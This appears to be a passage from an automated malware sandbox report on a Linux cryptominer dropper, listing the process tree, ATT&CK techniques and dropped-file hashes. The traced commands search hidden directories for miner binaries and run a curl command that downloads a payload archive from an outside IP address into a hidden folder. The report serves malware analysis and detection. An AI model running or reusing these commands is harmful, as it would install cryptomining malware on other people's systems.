  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1941
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1943
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1942
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1945
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1947
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1949
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1948
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1951
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1953
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1955
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1954
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1957
- /usr/bin/basename
  basename /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1959
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1961
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1960
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:1963
- /usr/bin/basename
  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:1965
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1967
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:1966
- /usr/bin/stat
  stat "-c%s" /var/lib/usbutils/usb.ids
  2⤵
  - Reads runtime system information
  PID:1969
- /usr/bin/basename
  basename /var/lib/usbutils/usb.ids
  2⤵
  PID:1971
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1973
- /usr/bin/head
  head -c 4 /var/lib/usbutils/usb.ids
  2⤵
  PID:1972
- /usr/bin/stat
  stat "-c%s" /var/lib/selinux/default/active/policy.kern
  2⤵
  - Reads runtime system information
  PID:1975
- /usr/bin/basename
  basename /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1977
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1979
- /usr/bin/head
  head -c 4 /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1978
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/british.hash
  2⤵
  PID:1981
- /usr/bin/basename
  basename /var/lib/ispell/british.hash
  2⤵
  PID:1983
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1985
- /usr/bin/head
  head -c 4 /var/lib/ispell/british.hash
  2⤵
  PID:1984
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/american.hash
  2⤵
  - Reads runtime system information
  PID:1987
- /usr/bin/basename
  basename /var/lib/ispell/american.hash
  2⤵
  PID:1989
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1991
- /usr/bin/head
  head -c 4 /var/lib/ispell/american.hash
  2⤵
  PID:1990
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1993
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1995
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1997
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1996
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1999
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:2001
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2003
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:2002
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:2005
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:2007
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2009
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:2008
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mips_Packages
  2⤵
  - Reads runtime system information
  PID:2011
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mips_Packages
  2⤵
  PID:2013
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2015
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-mips_Packages
  2⤵
  - System Network Configuration Discovery
  PID:2014
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:2017
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:2019
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2021
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:2020
- /usr/bin/head
  head -1
  2⤵
  PID:2025
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2024
- /usr/bin/head
  head -1
  2⤵
  PID:2028
- /usr/bin/find
  find /usr/lib/.lx -type f -name glint -size +500k
  2⤵
  PID:2027
- /usr/bin/head
  head -1
  2⤵
  PID:2031
- /usr/bin/find
  find /usr/lib/.lx -type f -name miner2 -size +500k
  2⤵
  PID:2030
- /usr/bin/head
  head -1
  2⤵
  PID:2034
- /usr/bin/find
  find /usr/lib/.lx -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2033
- /usr/bin/head
  head -1
  2⤵
  PID:2037
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl -size +500k
  2⤵
  PID:2036
- /usr/bin/head
  head -1
  2⤵
  PID:2040
- /usr/bin/find
  find /usr/lib/.lx -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2039
- /usr/bin/head
  head -100
  2⤵
  PID:2043
- /usr/bin/find
  find /usr/lib/.lx -type f -size +500k
  2⤵
  PID:2042
- /usr/bin/head
  head -1
  2⤵
  PID:2047
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl-gpu-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2046
- /usr/bin/head
  head -1
  2⤵
  PID:2050
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name glint -size +500k
  2⤵
  PID:2049
- /usr/bin/head
  head -1
  2⤵
  PID:2053
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name miner2 -size +500k
  2⤵
  PID:2052
- /usr/bin/head
  head -1
  2⤵
  PID:2056
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name krig-miner -size +500k
  2⤵
  PID:2055
- /usr/bin/head
  head -1
  2⤵
  PID:2059
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl -size +500k
  2⤵
  PID:2058
- /usr/bin/head
  head -1
  2⤵
  PID:2062
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2061
- /usr/bin/head
  head -100
  2⤵
  PID:2065
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -size +500k
  2⤵
  - Reads runtime system information
  PID:2064
- /usr/bin/head
  head -1
  2⤵
  PID:2069
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2068
- /usr/bin/head
  head -1
  2⤵
  PID:2072
- /usr/bin/find
  find /root/.local/share/icc -type f -name glint -size +500k
  2⤵
  PID:2071
- /usr/bin/find
  find /root/.local/share/icc -type f -name miner2 -size +500k
  2⤵
  PID:2074
- /usr/bin/head
  head -1
  2⤵
  PID:2075
- /usr/bin/head
  head -1
  2⤵
  PID:2078
- /usr/bin/find
  find /root/.local/share/icc -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:2077
- /usr/bin/head
  head -1
  2⤵
  PID:2081
- /usr/bin/find
  find /root/.local/share/icc -type f -name pearl -size +500k
  2⤵
  PID:2080
- /usr/bin/head
  head -1
  2⤵
  PID:2084
- /usr/bin/find
  find /root/.local/share/icc -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2083
- /usr/bin/head
  head -100
  2⤵
  PID:2087
- /usr/bin/find
  find /root/.local/share/icc -type f -size +500k
  2⤵
  PID:2086
- /usr/bin/head
  head -1
  2⤵
  PID:2091
- /usr/bin/find
  find /tmp -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2090
- /usr/bin/head
  head -1
  2⤵
  PID:2094
- /usr/bin/find
  find /tmp -type f -name glint -size +500k
  2⤵
  PID:2093
- /usr/bin/head
  head -1
  2⤵
  PID:2097
- /usr/bin/find
  find /tmp -type f -name miner2 -size +500k
  2⤵
  PID:2096
- /usr/bin/head
  head -1
  2⤵
  PID:2100
- /usr/bin/find
  find /tmp -type f -name krig-miner -size +500k
  2⤵
  PID:2099
- /usr/bin/head
  head -1
  2⤵
  PID:2103
- /usr/bin/find
  find /tmp -type f -name pearl -size +500k
  2⤵
  - Reads runtime system information
  PID:2102
- /usr/bin/head
  head -1
  2⤵
  PID:2106
- /usr/bin/find
  find /tmp -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2105
- /usr/bin/find
  find /tmp -type f -size +500k
  2⤵
  - Reads runtime system information
  PID:2108
- /usr/bin/head
  head -100
  2⤵
  PID:2109
- /bin/mkdir
  mkdir -p /root/.local/share/icc/.mgr/rt10272
  2⤵
  PID:2110
- /usr/bin/curl
  curl -fsSL --max-time 300 http://23.252.123.134:18095/fleet_lin.tgz -o /root/.local/share/icc/.mgr/rt10272/f.tgz
  2⤵
  PID:2111
- /bin/tar
  tar -xzf /root/.local/share/icc/.mgr/rt10272/f.tgz -C /root/.local/share/icc/.mgr/rt10272
  2⤵
  PID:2112
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:2113
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:2113
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:2113
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:2113
- - /sbin/gzip
    gzip -d
    3⤵
    PID:2113
- - /bin/gzip
    gzip -d
    3⤵
    PID:2113
- /usr/bin/head
  head -1
  2⤵
  PID:2117
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:2116
- /usr/bin/head
  head -1
  2⤵
  PID:2120
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name glint -size +500k
  2⤵
  PID:2119
- /usr/bin/head
  head -1
  2⤵
  PID:2123
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:2122
- /usr/bin/head
  head -1
  2⤵
  PID:2126
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name krig-miner -size +500k
  2⤵
  PID:2125
- /usr/bin/head
  head -1
  2⤵
  PID:2129
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name pearl -size +500k
  2⤵
  PID:2128
- /usr/bin/head
  head -1
  2⤵
  PID:2132
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:2131
- /usr/bin/find
  find /root/.local/share/icc/.mgr/rt10272 -type f -size +500k
  2⤵
  PID:2134
- /usr/bin/head
  head -100
  2⤵
  PID:2135
- /usr/bin/stat
  stat "-c%s" /root/.local/share/icc/.mgr/rt10272/f.tgz
  2⤵
  - Reads runtime system information
  PID:2137
- /usr/bin/basename
  basename /root/.local/share/icc/.mgr/rt10272/f.tgz
  2⤵
  PID:2139
- /usr/bin/head
  head -c 4 /root/.local/share/icc/.mgr/rt10272/f.tgz
  2⤵
  PID:2140
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:2141
- /usr/bin/stat
  stat "-c%s" /root/.local/share/icc/.mgr/rt10272/c
  2⤵
  - Reads runtime system information
  PID:2143
- /usr/bin/basename
  basename /root/.local/share/icc/.mgr/rt10272/c
  2⤵
  PID:2145
- /usr/bin/dirname
  dirname /root/.local/share/icc/.mgr/rt10272/c
  2⤵
  PID:2146
- /bin/tar
  tar -czf /tmp/.lxseal.tgz -C /root/.local/share/icc/.mgr/rt10272 .
  2⤵
  - Writes file to tmp directory
  PID:2147
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:2148
  - - /bin/gzip
      gzip
      4⤵
      PID:2149

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /root/.local/share/icc/.mgr/rt10272/c
Size 33.2MB
SHA256 abdc8f915c149e5ca265a40dbafa59b92159a1d40478ced199e4e384060cbe3f
MD5 654612c0c9ffa69cb3783d7f96defd2b
SHA1 74d2464aac6ea7afd96d731412a56b74c7faba24
SHA512 e00848c5e3aee3d35ad5a7b640dcfcfb27dc0242f9abac1ca338d815f14be84541cae20ae28e97999b3dc3998410455c923050d445509c5e73eb2e3be5e012d0
SSDEEP 786432:30Tn1zXtkej56gYIzLeuvbX3ZPhYnePEJDpwQ2:gn1Dtl56gY+L1PEJDh2
TLSH
T1E57733B744EA86E5F3E8BBFBBC539609EFC4B3E0A1258D153D415C3A02D060C666467B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

config.json

Path /root/.local/share/icc/.mgr/rt10272/config.json
Size 900B
SHA256 1f41561d9ecece6633337fbbe93b0f050bf5bb43a8aaf91647696c201ee37bd3
MD5 da0b435c58e185e0de02140598bd3d2b
SHA1 4470edd525d5100f38722a9ef20a3a433eb96f7d
SHA512 32bc25ebd893bd499d0e4970a1e1147c1055a1e28f88620bb4efa2b8de389f3528c415b7ce04708b0c1e392c5de2940e6a7bea3af23f84ea88a74255dad40959
TLSH
T1CE115925D41908FB43E4D0AC9938A3A317788D960256393E9243963C772EF3562B0ED2
MD5 SHA1 SHA512 TLSH

Submit Download

f.tgz

Path /root/.local/share/icc/.mgr/rt10272/f.tgz
Size 36.2MB
SHA256 c6446870142505090b9a50e971279b065b41e1d01b9b90e3b5d8bcfa19afdeb4
MD5 0cf38f1e34eea95e9fc8f83309e40d3b
SHA1 9114fd0e0a1341723b3cce2c1eebe01a3164474c
SHA512 09de0504189b1a88c1ca2d3b89f2f4e20c0b91b1a4cda50a5c0374e954db30ac692541c769341e2afab69c151bb3f4f09e2ddb1981cb4148ee73865a69469a89
SSDEEP 786432:1QVrlR/jsS9Z6w08jJgK77jPtxT6LA5Q/jrKk609T0C:Erl9jzZ6wqCjt5Q/jNv9T0C
TLSH
T1C68733B385E685E6E3EDB7F7BCA39648AF84B3E16225CD2439426C3513D020C175897B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

run.sh

Path /root/.local/share/icc/.mgr/rt10272/run.sh
Size 513B
SHA256 1260167c2c6bf191d079fe5826f8227f502ec151e8e30d6e3406902bd70addfb
MD5 d2873da55dd5a8b9427886f962fcb1f3
SHA1 8cadf2754eb8ec027efbfcc815e6721b1e958788
SHA512 6ef3c8fa97239241545302ec85d268641a58124e6931eb20d9d18bc2c44dd584ee021a64101798170a17d237ef31b8ad075e3af1bc018d18a31390fdcdc3d6c4
TLSH
T18FF08B1BAE300C15302ECE1F08D48A009D894837C44E1EBEB2CA5F50E1B4E197260DAF
MD5 SHA1 SHA512 TLSH

Submit Download

Path /root/.local/share/icc/.mgr/rt10272/x
Size 7.3MB
SHA256 8c19b4bf96922f30937ff8e3798584f1c2f1ff5796c11d62f2d9504782d1f58b
MD5 6cb60bf0fa60bfd3587ffbc2c7534d6a
SHA1 032708468608c63292ebbcb1c77e8f9ed9fe92d0
SHA512 ecc95b677683d5ec69aaa6f83e62aa1b7a327541a0c6ac07aa24938ca0ae5e7baa446dc841bd3406dcce51b9fbc7f7c2ebba1b07a0b5413036d7e0e6575e929d
SSDEEP 98304:KcboAfHvomqMLB+vw0/PwIIT/3tTl2AaAI2mUs5du5U0ARlPE3PE3PEPpkvB09DN:uqqW+vJWxyDY+42Puiaers
TLSH
T1E1766C4AB5A714FDC19AC474872FD5A3BE30781842157D7B36A4EA302E27F711B2EB21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lx_phoenix.log

Path /tmp/.lx_phoenix.log
Size 35B
SHA256 9f61f6f2c56a1f727951346ecd52f85b097b801dc0bd624b97bff522a7fcef63
MD5 a26a80cceffbbb6bc76e1b38939091ee
SHA1 ab2c9d34b2015913729fa97528552a3ed04a273e
SHA512 f1e350bebd388ab2978dec53b505fe81faac6713ca49081cedc021bb670157570490656a2370d955b6c61d6f28805059fd507a2e8f02b38edb02125ea3957076
MD5 SHA1 SHA512

Submit Download

.lxseal.tgz

Path /tmp/.lxseal.tgz
Size 55.6MB
SHA256 bded16f04bc15d63677f9fa6f6d2df9b12225f90149a707c5e7d983b2000c616
MD5 e4316d13789ea4cfba43f7f3ba007df4
SHA1 950f0d4eabe0b4a371fafe866479c0a0b692028d
SHA512 8685b8397771d00eb0bf064a01bdde932b7a26e42d324377e370dc07862c01c4434d10488b203c2ff7aa8ab83ecc9864cfe92355947b16a22a055fb4ffd7987c
SSDEEP 786432:rSpH3NrjwyFp86qsfJQMR5FH5TvwxMrsr9x6ekq0+nH5LfNGeZV+qWqdTEUtl7b:QH3ljnp86qUnPrsr9dnTH5zN/V+qqQ3
TLSH
T1BDD733B340EA86E5F3E9BBF7BD939649FBC473D060358D2639511C3A11903086658ABF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lastrun

Path /usr/lib/.lx/.lastrun
Size 11B
SHA256 fa58662600b8732c6db7e775ccf972380da4ed75ba65dd4f39b4d3a6e0267251
MD5 2dd6ed9621dc601a10e958e7fe498e2c
SHA1 b754529fbbdcee49d20181f1899d8d396c79de88
SHA512 b5f8ac26eb2f985f2c5f15fbb3261e420c8a90149f4cb7c8e3db1cabfb3003d713936f8e5dc9443f27ffb12557bc1d21e4c998e82518858f73b54b4ce8b58225
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads